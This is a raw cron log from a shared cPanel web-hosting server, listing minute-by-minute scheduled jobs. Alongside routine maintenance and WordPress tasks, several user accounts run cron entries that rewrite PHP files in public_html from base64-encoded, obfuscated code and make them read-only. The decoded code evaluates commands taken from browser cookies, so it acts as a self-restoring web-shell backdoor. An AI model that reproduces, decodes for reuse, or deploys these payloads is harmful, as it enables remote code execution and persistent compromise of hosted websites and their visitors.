Mar  2 14:15:02 medusa CROND[25425]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:15:02 medusa CROND[25420]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:15:02 medusa CROND[25428]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 14:15:02 medusa CROND[25431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:15:02 medusa CROND[25440]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:15:02 medusa CROND[25442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:15:02 medusa CROND[25443]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:15:02 medusa CROND[25444]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Mar  2 14:15:02 medusa CROND[25445]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 14:15:02 medusa CROND[25432]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 14:15:02 medusa CROND[25455]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:15:02 medusa CROND[25456]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 14:15:02 medusa CROND[25460]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:16:01 medusa CROND[10297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:16:01 medusa CROND[10557]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:16:01 medusa CROND[10558]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 14:16:01 medusa CROND[10559]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:16:01 medusa CROND[10561]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:16:01 medusa CROND[10562]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:16:01 medusa CROND[10564]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 14:16:01 medusa CROND[10568]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:16:01 medusa CROND[10570]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:16:01 medusa CROND[10573]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:16:01 medusa CROND[10577]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:16:01 medusa CROND[10579]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 14:16:01 medusa CROND[10587]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:16:01 medusa CROND[10593]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:17:01 medusa CROND[31962]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 14:17:01 medusa CROND[31963]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:17:01 medusa CROND[31966]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:17:01 medusa CROND[31967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:17:01 medusa CROND[31968]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:17:01 medusa CROND[31969]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 14:17:01 medusa CROND[31970]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
